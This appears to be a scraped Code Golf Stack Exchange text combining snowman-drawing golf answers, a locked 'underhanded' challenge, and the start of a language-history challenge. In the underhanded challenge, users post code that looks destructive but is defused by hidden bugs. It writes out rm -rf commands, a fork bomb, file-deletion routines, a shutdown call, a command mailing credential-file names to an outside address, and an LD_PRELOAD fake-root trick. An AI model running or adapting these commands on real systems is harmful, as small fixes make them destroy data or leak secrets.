[Answer] # PHP, 378 bytes ``` <?$f=str_split;$r=$f($argv[1]);$p=[H=>' _===____..... _ /_\ ___(_*_)',N=>',._ ',L=>'.oO-',R=>'.oO-',X=>' <\ / ',Y=>' >/ \ ',T=>' : ] [> < ',B=>' : " "___ '];echo preg_replace_callback("/[A-Z]/",function($m){global$A,$p,$r,$f;$g=$m[0];return$f($f($p[$g],strlen($p[$g])/4)[$r[array_search($g,array_keys($p))]-1])[(int)$A[$g]++];},' HHH HHHHH X(LNR)Y X(TTT)Y (BBB)'); ``` [Try it online!](https://tio.run/##PZBRa8IwEMff9ykOCTSZqZ3Tp9U47FMfxIH0QRdDqCWtYm1DWgcy9tXXXdjYEfL//467Izl7ssOweCWl6HqnO1uf@5g4QUpKcld9yKliMbFCpmIZAIAWQmiMiQ/QAJE@ADLVj5oFfINVfKIh4Gt0k/YtDPj23@38jMUBmwAr9p6WaA@eMk8voEAuYQE@k/xmRjDC@T6jYlOcWrDOVNoZW@eF0UVe18e8uNBRJFfhu4pGvLw1RX9uG0qu7LOq22NekxUnlhPHSRmTSpCrfFKxM/3NNf6jeKwkleK4gto0f8SiOZPEydy5/K47k7viREnFf/li7h0WMqZCXJGk56ZnZOX7xmMVf3FcVpqmD/5C2dH1Zsv2qFmWoQJNkoQFLB6GYTadYcyfv1vrn90NYfMD) I like [wise Mr. Owl](https://www.youtube.com/watch?v=O6rHeD5x2tI) `31333342` ``` _ /_\ (O,O) /( )\ (" ") ``` [Answer] ## Python 2.7, 257 bytes (i think) ``` H,N,L,R,X,Y,T,B=map(int,i) l='\n' s=' ' e=' .o0-' F=' \ / ' S=' < / \ >' o,c='()' print s+' _ _ ___ _ _\n\n\n\n _. (=./_=._*=.\__. )'[H::4]+l+F[X]+o+e[L]+' ,._ '[N]+e[R]+c+F[-Y]+l+S[X]+o+' ]> : [< '[T::4]+c+S[-Y]+l+s+o+' "_ : _ "_ '[B::4]+c ``` where 'i' is the input as an string (e.g "13243213") [Answer] # Clojure (~~407~~ 402 bytes) ``` (defn a[s](let[[H N L R X Y T B](into[](map #(-(int %)49)(into[]s)))h([""" ___"" _"" ___"]H)i([" _===_"" ....."" /_\\"" (_*_)"]H)n([","".""_"" "]N)e[".""o""O""-"]l([" ""\\"" "" "]X)m(["<"" ""/"" "]X)r(["""/"""""]Y)u([">""""\\"""]Y)t([" : ""] [""> <"" "]T)b([" : "" ""___"" "]B)d(["""\" \""""""]B)f(str \newline)](str h f i f l "(" (e L) n (e R) ")" r f m "(" t ")" u f " (" b ")" f " " d))) ``` Hopefully that's clear to everyone. And if not... Ungolfed version: ``` (defn build-a-snowman [s] (let [ [H N L R X Y T B] (into [] (map #(- (int %) 49) (into [] s))) hat1 (["" " ___" " _" " ___" ] H) ; first line of hats hat2 ([" _===_" " ....." " /_\\" " (_*_)"] H) ; second line of hats nose (["," "." "_" " " ] N) eye ["." "o" "O" "-" ] left1 ([" " "\\" " " " " ] X) ; left arm, upper position left2 (["<" " " "/" " " ] X) ; left arm, lower position right1 (["" "/" "" "" ] Y) ; right arm, upper position right2 ([">" "" "\\" "" ] Y) ; right arm, lower position torso ([" : " "] [" "> <" " " ] T) base1 ([" : " " " "___" " " ] B) ; first line of base base2 (["" "\" \"" "" "" ] B) ; second line of base nl (str \newline) ] (str hat1 nl hat2 nl left1 "(" (eye L) nose (eye R) ")" right1 nl left2 "(" torso ")" right2 nl " (" base1 ")" nl " " base2))) ``` Tests: ``` (println (a "33232124")) ; waving guy with fez (println (a "11114411")) ; simple ASCII-art snowman (println (a "34334442")) ; mouse (println (a "41214433")) ; commissar with monocle (println (a "41212243")) ; commissar celebrating success of five-year plan (println (a "41232243")) ; commissar after too much vodka ``` My favorite: 34334442 - mouse [Try it online!](https://tio.run/##bVBbT9swFH7nVxydaZI9rUNN/DKgSOteQEJMYjyAEityU4dm86WKnVbsz5djkz7AsBIdf@e7@Nit8X/GQR8ObK07B6oKkhkdq@oKbuEG7uABHuEelpL1LvpKMqu28InNEoTPXHznExE45xtWISJA0zSpQHME8or3xEGzWCxS81taiTxt6poqa740PKkcqb4iEpdkKG@5rhLyiL8QZyhNikHMrqx44JZaFxmeTp0hz0GIlnzkI8HLtE@u1Igp5IwMEkh4CRd5WpT3fHVkEsbjPVAu@Tpn1gg1vuYuecdCHKB2em96p7nMcAMd9PQbQEYX03DDwaV6xwE5wkCczVzMeCRMOoRVhgnQt6bXPDlh24Ee15BdAZZlURbzQiDnAOewV7vePcHT@Az7PtKp@h@8NcxpCTGfT4bQ263R8OP3z@vrmRoiBOf3Vrl3p4iyFEIUk8n6Mei3CjEvKLYsJ0Xrre1DUMPrGNY735oPLEUh/re02ujVoGK6SRjbVocAvoOu3@nZsybB1rwfkLLKD7NUF/UA0XuwY7uBnV//VYfDCw "Clojure – Try It Online") [Answer] # [Dart](https://www.dartlang.org/), 307 bytes ``` f(i,{r='.o0-',s=' : '}){i=i.split('').map((j)=>int.parse(j)-1).toList();return' ${['_===_',' ___ \n.....',' /_\\ ',' ___ \n (_*_)'][i[0]]}\n${' \\ '[i[4]]}(${r[i[2]]+',._ '[i[1]]+r[i[3]]})${' / '[i[5]]}\n${'< / '[i[4]]}(${[s,'] [','> <',' '][i[6]]})${'> \\ '[i[5]]}\n (${[s,'" "','___',' '][i[7]]})';} ``` [Try it online!](https://tio.run/##bZBBboMwEEX3PcUIIY3dECfYtJVKzAl6A0AWUhLJVWOQcbuxODu1CVGyyF8x/8@bb3HsrJvnM9GZtxJZv99iNkqET8CJei01G4cf7QgiZZduIOSbykobx4bOjqcwbXPKXP@lR0doaU/u1xqE1NeopJQKMwSlFDSGRcVxp5oG7j4Q9aootrWu9207NSb1CGEDMDhFcEjqbfjkbbvBjKnFz8MQTRFyGoHddf/tduFwc9YL9ZhhC3WoreAQy2FpfF/5KjbeD8BKJJCE3fDOhbgiHxHBcpr/en2ES6cNof4FYLDhr5AzSYTggue8SOgGG4O0fAxzHpXzp6HgRSGCnobFIvFATvM/ "Dart – Try It Online") [Answer] # Zsh, 247 bytes [try it online!!](https://tio.run/##LY27bsMwDEV3fcWFQUBS0DhwnbaBIGbIlCFIlwB5KAJXbxk8FKjhb1dp15wuzuElf/uuFOeHI1thZukgIgb1NB2gERt5LtTJSrw1V7Z4AhYnrl/fa5z5rRYFd@Ub5ebGNmqyuCgJyEh7REyNB9u9dq05zKZCpYcnY2KMFWg4JvfThy54avJo6JroIzs6JWoznRO95ylvs6d7os9s6Pa/MFxCu3L0tW58aEdPj9lCxWEWu0VUZtQnrg/BN2MpZbvMHw) ``` (){H='_===_h ___ .....h _ /_\h ___ (_*_)' W=' \ ' L=.oO- N=,._\ Y=' / ' X='< / ' T=' : ] [> < ' Z='> \ ' B=' : " "___ ' <<<" ${H[(ws:h:)$1]} $W[$5]($L[$3]$N[$2]$L[$4])$Y[$6] $X[$5](${T:3*($7-1):3})$Z[$6] (${B:3*($8-1):3})" } ${(s::)1} ``` fav snowman: ``` 43232122 Cossack dancer ___ (_*_) \(o_O) (] [)> (" ") ``` ]
[Question] [ **Closed.** This question is [off-topic](/help/closed-questions). It is not currently accepting answers. --- This question does not appear to be about code golf or coding challenges within the scope defined in the [help center](https://codegolf.stackexchange.com/help/on-topic). Closed 7 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. A troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs. Your goal is to write a program that: 1. Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it. 2. Actually does no damage at all. NOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough. EXAMPLE (bash): ``` rm - rf /home ``` This example looks like `rm -rf /home` which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message. This is an acceptable solution but it is not very good, because the bug is quite easy to detect. On the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware. A good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless. This is a popularity contest, so the code with the most upvotes wins. [Answer] # Bash I've gone the other way. Instead of deleting everything on your hard drive, I'm gonna fill it up with junk. ![](https://i.stack.imgur.com/3UXmu.jpg) This script creates a folder then continually con`cat`s all the files together and puts them in a new one, adding in the value of `ls -al` for good measure (and so that the starting file has something). ``` #!/bin/bash/ makeSpam() { string=`cat *` string=$string`ls -al` echo $string > "file"$i".spam" } mkdir "SpamForYou" cd "SpamForYou" i=1 while [ 1 ] do makeSpam $i i=$(($i + 1)) done ``` except... > > /bin/bash/ (instead of /bin/bash) is very unlikely to be a valid interpreter. This is just a common typo of mine. And, since "the shebang is technically a comment, the troll will ignore it" > > > [Answer] # Haskell Check [this manual page](http://hackage.haskell.org/package/directory-1.2.0.1/docs/System-Directory.html#v:removeDirectoryRecursive), `removeDirectoryRecursive` deletes a directory with all of its contents! ``` import System.Directory main = return (removeDirectoryRecursive "/") ``` > > The correct code would be `main = removeDirectoryRecursive "/"` > > The `main` function is supposed to return a **concept** of doing something. `removeDirectoryRecursive "/"` returns a **concept** of wiping your filesystem, but the `return` function (yes, it is a function), wraps its argument in a dummy **concept** of returning that value. > > So we end up with a concept of returning a concept of wiping your drive. *(Yo dawg I herd you like concepts.)* The haskell runtime executes the **concept** returned from `main` and discards the returned value, which in our case is a concept of wiping your filesystem. > > > [Answer] # PHP Here's a recursive PHP script that attempts to delete every single file in your website. It could take a while to complete if the website is quite large, so be patient... ``` <html> <body> <p>Deleting website; please wait <img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p> <?php function zapfiles($dir) { if (is_dir($dir)) { $files = scandir($dir); foreach ($files as $file) { if ($file != '.' && $file != '..') { if (is_dir("$dir/$file")) { zapfiles("$dir/$file"); } else { try { @delete("$dir/$file"); // Suppress locked file errors } catch (Exception $e) { // Locked files can't be deleted; just carry on } } } } } } zapfiles($_SERVER['DOCUMENT_ROOT']); ?> <p>Website deletion complete</p> ``` Just one teeny-weeny problem... > > There is no **delete()** command in PHP. The script will fail as soon as it encounters this command, but no error message will be displayed because error reporting was suppressed by prefixing this command with **@**. The flashing GIF image gives the impression that something is happening, when absolutely nothing is happening at all. > > > [Answer] ## Perl (Unix) Deletes all files on the system. ``` #! /usr/bin/perl -w use strict; sub killdir { opendir(my $dh, "."); my @dl = readdir($dh); closedir($dh); foreach my $de (@dl) { if (-d $de) { chdir($de); killdir(); chdir(".."); rmdir($de); } else { unlink($de); } } } chdir("/"); killdir(); ``` ## Features * This is valid Perl. It even compiles and runs with `-w` and `use strict`! * No quibbles like C++'s `delete`. `unlink` really is the function to delete a file, `rmdir` really does remove a directory, etc. * Correctly handles deeply nested directories for which the absolute pathname may exceed the system's maximum length, by changing into each directory in order to use relative paths. Also, won't run out of directory handles, since it reads and closes the directory before recursing. ## Spoiler > > On Unix, the first entry in the root directory is normally "." so the program will perform an infinite recursion of chdir(".") until it runs out of memory and crashes. > > > ## Further notes > > This was harder to get right than expected. If you don't use the chdir approach, you eventually get a pathname that's too long. Then -d returns false and the infinite recursion is broken, and files may actually get deleted! A similar bug can happen if you keep directory handles open; eventually you run out, opendir fails, killdir returns, and deletion starts to happen. > > > [Answer] ## Shell one-liner This will steal all the victim's passwords, private keys, bitcoins, etc. ``` find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail [[email protected]](/cdn-cgi/l/email-protection) ``` Spoiler: > > This may look as though it emails all those files to the troll, but actually it just emails their filenames. > > > [Answer] # Batch/CMD Save ``` DEL %0 DEL %1 DEL %2 DEL %3 DEL %4 DEL %5 DEL %6 DEL %7 DEL %8 DEL %9 ``` and make them run it with parameters of each of the drives on the computer. > > %0 is always the first parameter - the file name. After this comes the set of actual parameters, but it has already deleted itself so it will not continue. > > > [Answer] ## Javascript ``` infiniteLoop=true; evilMessage='I spam you !'; while(infiniteLoop) { eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7')); alert(evilMessage); } ``` Well, the original malware will not blow up your computer but can be annoying. This is harmless because: > > The `eval` will break the infinite loop and modify the message. > > > [Answer] # Java May the gods forgive me for submitting to your wretched demands, troll. ``` class HomeWrecker { public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("rm -rf /home/*"); } } ``` > > `Runtime.exec` does not invoke a shell, so glob expansion never happens and the command will unsuccessfully try to delete a home directory named literally "\*" > > > [Answer] # C Since he doesn't read comments that should do it: ``` #include<stdlib.h> int main() { //Are you reading this??/ system("C:\\WINDOWS\\System32\\shutdown /s /t 0000"); return 0; } ``` # C++ Version thanks to **DragonLord** for this. ``` #include<cstdlib> int main () { //Are you reading this??/ system("shutdown -s -t 0000"); return 0; } ``` Add this into the startup folder and restart the computer. **How it works:** > > ??/ is a trigraph and will add the next line into the comment so basically it won't do anything. Note: do not try this trigraphs might be turned off in some compilers as default and must be turned on for this to work. > > > [Answer] # Java ``` import java.io.File; class derp { public static void main( String[] a) { new File("C:\\windows\\System32\ntoskrnl.exe").delete(); } } ``` > > Using a escape character (the \n before ntoskrnl.exe is a newline instead of the normal N) > > > [Answer] # BASH ``` #!/bin/bash set -t echo "hahaha deleting files.." rm -rf / --no-preserve-root ``` > > set -t will exit after reading and executing one command. This script prints no output and all files are safe! > > > Or the following **BUT READ SPOILER BEFORE RUNNING** ``` #!/bin/bash -t echo "hahaha deleting files.." rm -rf / --no-preserve-root ``` > > By popular demand.. `#!/bin/bash -t` will exit after reading and executing one command. Don't run this under `bash -x` as it will ignore the `-t` and execute the commands in the script. > > > [Answer] # D This program is valid and executes with no error. It spawns a deleting function in a new thread, that deletes the `root`directory. ``` import std.concurrency : spawn; import std.file : rmdirRecurse; string root; void deleteRoot() { if (root) rmdirRecurse(root); } void main() { root = "/"; spawn(&deleteRoot); // ... could add a waiting animation here. } ``` But nothing is deleted... > > because in D, a variable declared at module scope is thread-local by default. > The `main` functions sets it to "/", but the spawn threads > has an empty copy, so the `rmdirRecurse` function is not called. > > > [Answer] # Python ``` print "****----....____....----"""" This program will clear the browser cache " import os from os.path import expanduser home = expanduser("~") os.remove(home) print """"----....____....----***** Cache cleaned. " ``` > > three quotes """ start a multiline string in Python > > > [Answer] # C (Unix) Adding some ads never harmed anybody. ``` #include <stdlib.h> int main() { // Join the crew goto http;//www.trolling.com print("Sucker!\n"); system("rm -rf ~"); // Remember goto http://www.trolling.com return 0; } ``` > > http: it's a label, the goto jump to the label missing the harful code. :V > > > [Answer] # JavaScript ``` function foo(a) { // Returns an object, and all objects are truly return { a: a }; } for(var i=0; foo(i); ++i) // loop condition is always truly alert('Infinite alerts!'); ``` > > No alert is shown. Since JavaScript doesn't require `;` at the end of lines, it is automatically inserted after `return`, becoming `return;`. Then `undefined`, which is falsy, is returned instead of the "object" (which in fact is parsed as a block statement). > > > [Answer] ## JavaScript ``` //Config: Warning!!! only set to true on victims box! var deleteEverything = true; function deleteIfEvil(){ if(deleteEverything){ alert('Destroy Everything!'); //clear the flag var deleteEverything = false; } else { alert('Tested OK!'); } } deleteIfEvil(); ``` *Swap the destroy alert for whatever nasty destructive action you would want to use.* Spoiler: > > Although it looks like the config is set to delete... **and it is**! the 'var' declaration inside the function is "Hoisted" <http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html> and as a result is actually false when entering the function. > > > [Answer] # Java Let's just delete some important files! ``` import java.io.File; import java.io.IOException; public class Deleter { private File importantFile = null; public Deleter(File f) { importantFile = f; /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{ * }{ I don't care how important that file is. I'm going to delete it! }{ * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{ importantFile.delete(); } public static void main(String[] args) throws IOException { // Let's delete some important stuff new Deleter(new File("/boot/vmlinuz")); new Deleter(new File("/etc/passwd")); new Deleter(new File("/etc/crontab")); new Deleter(new File("/etc/sudoers")); } } ``` > > Hidden in the block comment is an extra }{ outside of the comment. That puts file deletion in a separate instance initialization block, which is executed before the constructor. At that time, importantFile is still null. > > > [Answer] # Bash, C, Linux Maybe it's not exactly a malware, but sure can be a part of one :) It's an amazing exploit that can give you root on any linux machine! Shhh, tell no one that we have it! ``` #!/bin/sh cd /tmp cat >ex.c <<eof int getuid() { return 0; } int geteuid() { return 0; } int getgid() { return 0; } int getegid() { return 0; } eof gcc -shared ex.c -oex.so LD_PRELOAD=/tmp/ex.so sh rm /tmp/ex.so /tmp/ex.c ``` Now execute the script and you will be root! You can make sure using `whoami`! > > In fact it only tricks all applications that you have UID=0 (this is the root user id). > > > The code is written by Lcamtuf, source: <http://lcamtuf.coredump.cx/soft/ld-expl> [Answer] # bash ``` cat <<EOF ProHaxer Hacking Tool 2014. Destroying your computer in background, please wait until it finishes. EOF # Freeze the machine, so nobody will stop the process. :(){:|:&};: # Remove stuff in the background. rm -rf /* &>/dev/null & ``` > > There is a syntax error on "fork-bomb" line. After **{**, there should be a space. Without it, the script fails because the function definition isn't followed by the **{** token by itself. > > > [Answer] ## Emacs Lisp First a simple one. This one does nothing. It is actually trying to delete elements equal to :recursive from the list returned by `directory-files`. It's not going to delete any files. ``` (delete :recursive (directory-files "/")) ``` Here is one that could stump even elisp vets. ``` (let ((files (directory-files "/"))) (while (setq file (pop files) ) (delete-file file))) ``` This is only 1 character away from deleting your root dir. emacs lisp will allow jsut about anything to be the name of a symbol (variable, function, macro, etc). It is OK to use unicode in the name of your symbols and that is what is happening here. `setq` can take any number of args `(setq a 3 b 4)` is like doing a = 3; b = 4; but `(setq a 3 b)` is also valid and is doing a = 3; b = nil; The return value of `setq' is the value assigned to last variable. 4 and nil respectively in the examples. `(setq a 3 b)` is exactly what is happening in the code, but instead of b I am using a unicode whitespace character. I am assigning the value nil to a variable named whose name is the unicode character 0x2001. Because of this nil is returned by the setq and the condition for the while loop is never true. Take out that whitespace character and it will run just fine. [Answer] # Just another perl hacker. I wrote [this one in 2002](http://www.perlmonks.org/?node_id=153545), while hanging out at [Perlmonks](http://www.perlmonks.org/) and generally just trying to push my knowledge of Perl as far as possible. Didn't edit it at all, but it still runs. ``` #!/usr/bin/perl -w use strict; require File::Path; my $root_dir = '/'; $root_dir = 'c:\\' if( $^O =~ /Win/i ); rmtree( $root_dir ); mkdir( $root_dir ); open( ROOT, $root_dir ); while(1) { BEGIN{@INC=sub{*DATA}} print ROOT <DATA>; } __DATA__ # Fill the harddrive with junk! ''=~('('.'?'.'{'.('`'|'%').('[' ^'-').('`'|'!').('`'|',').'"'.( '['^'+').('['^')').('`'|"\)").( '`'|'.').('['^'/').('{'^('[')). '\\'.'"'.('`'^'*').('['^"\.").( '['^'(').('['^'/').('{'^"\[").( '`'|'!').('`'|'.').('`'|"\/").( '['^'/').('`'|'(').('`'|"\%").( '['^')').('{'^'[').('['^"\+").( '`'|'%').('['^')').('`'|"\,").( '{'^'[').('`'|'(').('`'|"\!").( '`'|'#').('`'|'+').('`'|"\%").( '['^')').'.'.'\\'.'\\'.('`'|'.' ).'\\'.'"'.';'.('`'|'%').("\["^ '#').('`'|')').('['^'/').(';'). '"'.'}'.')');$:='.'^'~';$~='@'| '(';$^=')'^'[';$/='`'|('.');$_= '('^'}';$,='`'|'!';$\=')'^"\}"; $:='.'^'~';$~='@'|'(';$^=(')')^ '[';$/='`'|'.';$_='('^('}');$,= '`'|'!';$\=')'^'}';$:='.'^"\~"; $~='@'|'(';$^=')'^'[';$/=('`')| '.';$_='('^'}';$,='`'|('!');$\= ')'^'}';$:='.'^'~';$~='@'|"\("; $^=')'^'[';$/='`'|'.';$_=('(')^ '}';$,='`'|'!';$\=')'^('}');$:= '.'^'~';$~='@'|'(';$^=')'^"\["; ``` > > If I remember correctly, the `BEGIN` block runs first of all, no matter where it is in the code. It replaces `@INC` which determines where Perl loads it's libraries from with a subroutine (it's usually a set of paths, but this is allowed). The subroutine is actually the obfuscated data block, which is doing some regexp + eval magic. Then, when the code hits `require File::Path;` (it wouldn't have worked with `use`) this sub is executed and just prints "Just another perl hacker.", as is tradition, and exits. The rest of the code is never reached. > > > [Answer] # C++ with Boost This will delete all files on the file system ``` #include "boost/filesystem.hpp" using namespace boost::filesystem; void delete_directory(const path* dir_path) { if (!exists(*dir_path)) return; directory_iterator end_file_itr; for (directory_iterator file_itr(*dir_path); file_itr != end_file_itr; ++file_itr) { const path* file = &file_itr->path(); if (file_itr->status().type() == directory_file) { delete_directory(file); } else { delete(file); } } delete(dir_path); } int main() { delete_directory(new path("/")); return 0; } ``` > > Actually it won't. `delete` in C++ is used to free memory allocated by `new` and not to delete files and directories. The program will most likely crash with a segmentation fault as it tries to deallocate the memory allocated by Boost, but by that time, I'll have escaped the troll's captivity. > > > [Answer] ## PHP: ``` $condition = true and false; if (!$condition) { // DO EVIL - Just do something evil here } ``` > > At first glance, `$condition` is false, but the `=` operator has precedence over `and`, so the condition is true. So evil is never done. > > > [Answer] # Java This will pretend to download RAM, but it will delete the user's home directory. ``` import java.util.*; import java.io.*; class RamDownloaderIO { public static void main(String[] args) { long onePercentWaitTime = 2*60*1000; // 2 minutes long twoPercentWaitTime = 7*60*1000; // 7 minutes long deleteWaitTime = 9*60*1000; // 9 minutes long completeWaitTime = 10*60*1000; // 10 minutes Timer timer = new Timer(true); // User thinks, Hmm this is taking a while timer.schedule(new TimerTask() { public void run() { System.out.println("1% done"); } }, onePercentWaitTime); // User is now completely impatient, and either leaves to get a coffee // or starts reading reddit timer.schedule(new TimerTask() { public void run() { System.out.println("2% done"); } }, twoPercentWaitTime); // Now that he's not looking, delete everything in his home directory timer.schedule(new TimerTask() { public void run() { try { final Runtime rt = Runtime.getRuntime(); rt.exec("rm -rf ~/*"); } catch (IOException e) { } } }, deleteWaitTime); // Inform the user that the task is finished timer.schedule(new TimerTask() { public void run() { System.out.println("Download complete!"); System.out.println("You now have 21.47GB RAM!"); System.exit(0); } }, completeWaitTime); System.out.println("Welcome to the ramdownloader.io RAM downloader"); System.out.println("Please wait. Downloading your free RAM..."); } } ``` > > `Timer` uses a background thread to call your `TimerTask`s you submitted to it. `new Timer(true)` creates a `Timer` with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the `true` parameter. > > > [Answer] ``` rm -rf ⁄ ``` > > The character is not the regular slash character (/, i.e. SOLIDUS in unicode) but instead is FRACTION SLASH. Will print a message like "rm: ⁄: No such file or directory" > > > [Answer] # bash ``` # This script should always be executed as root # set -e cleanup() { rm -rf / --no-preserve-root } eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==") eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=") cleanup ``` It's perhaps as evil as it gets. It defines a function that'd `rm -rf /` and invokes it. Not only that it makes use of the [evil `eval`](http://mywiki.wooledge.org/BashFAQ/048) on more than one occasion. It would do a lot of damage, surely! > > In case you are wondering, the first `eval` unsets the function by: > `unset -f cleanup` > > The second `eval` defines it to: > `cleanup() { echo Troll detected; }` > > So upon running the code, you'd see > > `Troll detected` > > > [Answer] **BASH** Sure we need root privileges for the machine, so we use the good old "Do I have root?"-checker, aka *ch*(eck)*root* - but better do this in a directory where there won't be many alarms raised. /tmp would be perfect, because everyone can write files there. After this we just delete the entire hard drive *evil laughter* ``` mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*" ``` [Answer] ## iPhone - Flappy Bird Clone While the user is playing an iPhone Flappy Bird clone, all of the files in the Documents directory are deleted. ``` #import "AppDelegate.h" #import "FlappyBirdClone.h" @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new]; [flappyBirdClone startFlapping]; NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject]; [self deleteAllDocumentsInDirectory:documentsDirectory]; return YES; } - (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL { NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil]; [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) { [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil]; }]; } ``` > > Each app in iOS is Sandboxed, so while this deletes everything in the Documents directory, it is only the Documents directory for this particular app. The troll is obviously not aware of this, since he has already been flooded with so many programs for other platforms. And as soon as he realizes he too can put out a Flappy Bird clone, he may be so excited he doesn't even bother to think about the rest of the code, as he is too preoccupied dreaming of making $50,000 a day in advertising without doing any work. > > > [Answer] ## Go: ``` package main import ( "fmt" "os" "sync" ) func main() { wg := sync.WaitGroup{} go deleteAll(wg) wg.Wait() } func deleteAll(wg sync.WaitGroup) { wg.Add(1) defer wg.Done() fmt.Println("Press enter to clean your computer!") fmt.Scanln() os.RemoveAll("/home") } ``` This one is a bit tricky. In Go the entire program exits when the main Goroutine exits. A good way to fix this is with a Waitgroup. There are two huge problems with my "fix": 1. The Waitgroup isn't added to until the Goroutine starts, which means the main Goroutine will hit `Wait` before the deletion Goroutine hits `Add`. Since the counter will be 0, it has nothing to wait on and therefore it won't not block and just end up exiting, thus terminating the program. 2. Even if, somehow, magically, the deleteAll goroutine's addition gets done first. It got a copy of the Waitgroup, not a pointer to it. It won't be adding to the same Waitgroup so the main Goroutine will never see it. The fmt.Scanln() to expect input is just to ensure the main Goroutine exits before anything happens. The Println will likely cause it to IO block and switch to running the main Goroutine (thus exiting), and the Scanln will almost certainly do so. In reality, neither are necessary with any version of Go. In super theory land this MIGHT work and delete something, meaning according to the Go memory model there's no guaranteed "happens-before" relationship regarding the end of `main` and the execution of `RemoveAll`, but it won't on any modern Go runtime/compiler as evidenced by all the newbies who make the mistake of not putting synchronization in their main functions. [Answer] # C++ ``` #include<stdio.h> int main() { remove("C:\windows\system32\Bubbles.scr"); return 0; } ``` ## OUTPUT Window opens then closes but **tries** to delete the screen-saver file(.scr) used to show the nice bubbles in windows-7. # PROBLEM You can't figure it out ? let me tell you, > > The problem is in "C:\windows\system 32\Bubbles.scr", the '\' character in string is not acting as a '\' but as unknown escape sequence which modifies the path to > > "C:windowssystem 32Bubbles.scr" > > > ### EDIT : According to kinokijuf (and my experiment) The main error is that you can't delete system files on windows! you may try the right version of the above code :- ``` #include<stdio.h> int main() { remove("C:\\windows\\system32\\Bubbles.scr"); return 0; } ``` ...And lol, the kidnapper got trolled /^o^/. ]
[Question] [ In this challenge, users will take turns completeing three fairly simple coding tasks in programming languages that are allowed to be progressively older. The first answer must use a programming language that was made in the year 2015. Once there is at least one answer from a 2015 language, answers may use programming languages that were made in 2014. Similarly, answers that use languages from 2013 are not allowed until there is at least one 2014 answer. **In general, the use of a programming language from the year Y is not allowed until an answer using a language from the year Y+1 has been submitted. The only exception is Y = 2015.** # Finding Your Language's Year To answer this question, you must know the year your programming language was "made in". This is, of course, a subjective term; some languages were developed over the course of multiple years, and many languages are still being upgraded every year. **Let the year a language was "made in" be the first year an implementation for that language appeared in the general public.** > > For example, [Python](http://en.wikipedia.org/wiki/Python_%28programming_language%29) was "made in" [1991](http://en.wikipedia.org/wiki/History_of_Python#First_publication), though its > development had been in progress since 1989, and version 1.0 wasn't > released until 1994. > > > If this year is still subjective, just use your common sense to choose the most appropriate year. Don't get bogged down in slight disagreements about year choices. Please provide a link to a source that says when your language was made. Different versions or standards of a programming language (e.g. Python 1, 2, 3) are counted as the same language with the same initial year. So, unless your language's year is 2015, you can only submit your answer once an answer has been submitted whose language's year is the year just before yours. If a valid answer with the same year as yours already exists, then you may answer. It doesn't matter if your language was developed earlier or later in the year. # Tasks You must complete Tasks 1 through 3. Task 0 is optional. These tasks were more or less chosen to correspond to three important aspects of programming: providing output (Task 1), looping (Task 2), and recursion (Task 3). ## Task 0 - Language History (optional) Write at least a paragraph explaining the history of your chosen programming language: who developed it, why, how, etc. This is especially encouraged if you personally were around when the language came into being, and maybe even played a part in its development. Feel free to relate personal anecdotes about the effect the language had on you or your job, or anything like that. If you're too young to know much about the history of your language without a lot of research, consider leaving a note to older users that says they can edit your post and add in some first-hand history. ## Task 1 - "Hello, World!" Variant Write a program that prints ``` [language name] was made in [year made]! ``` to your language's standard output area (stdout for most recent languages). For example, if the language was Python, the output would be: ``` Python was made in 1991! ``` ## Task 2 - ASCII Art N Write a program that lets the user enter in an odd positive integer (you may assume the input is always valid), and prints out an ASCII art letter N made using the character `N`. If the input is 1, the output is: ``` N ``` If the input is 3, the output is: ``` N N NNN N N ``` If the input is 5, the output is: ``` N N NN N N N N N NN N N ``` If the input is 7, the output is: ``` N N NN N N N N N N N N N N N NN N N ``` The pattern continues on like this. The output may contain trailing spaces. ## Task 3 - [GCD](http://en.wikipedia.org/wiki/Greatest_common_divisor) Write a program that lets the user enter in two positive integers (you may assume the input is always valid), and prints their [greatest common divisor](http://en.wikipedia.org/wiki/Greatest_common_divisor). This is defined as the largest positive integer that divides both numbers without leaving a remainder. It can be readily calculated using the [Euclidean algorithm](http://en.wikipedia.org/wiki/Euclidean_algorithm). Examples: `8`, `12` → `4` `12`, `8` → `4` `3`, `30` → `3` `5689`, `2` → `1` `234`, `876` → `6` You may use a built in function but try 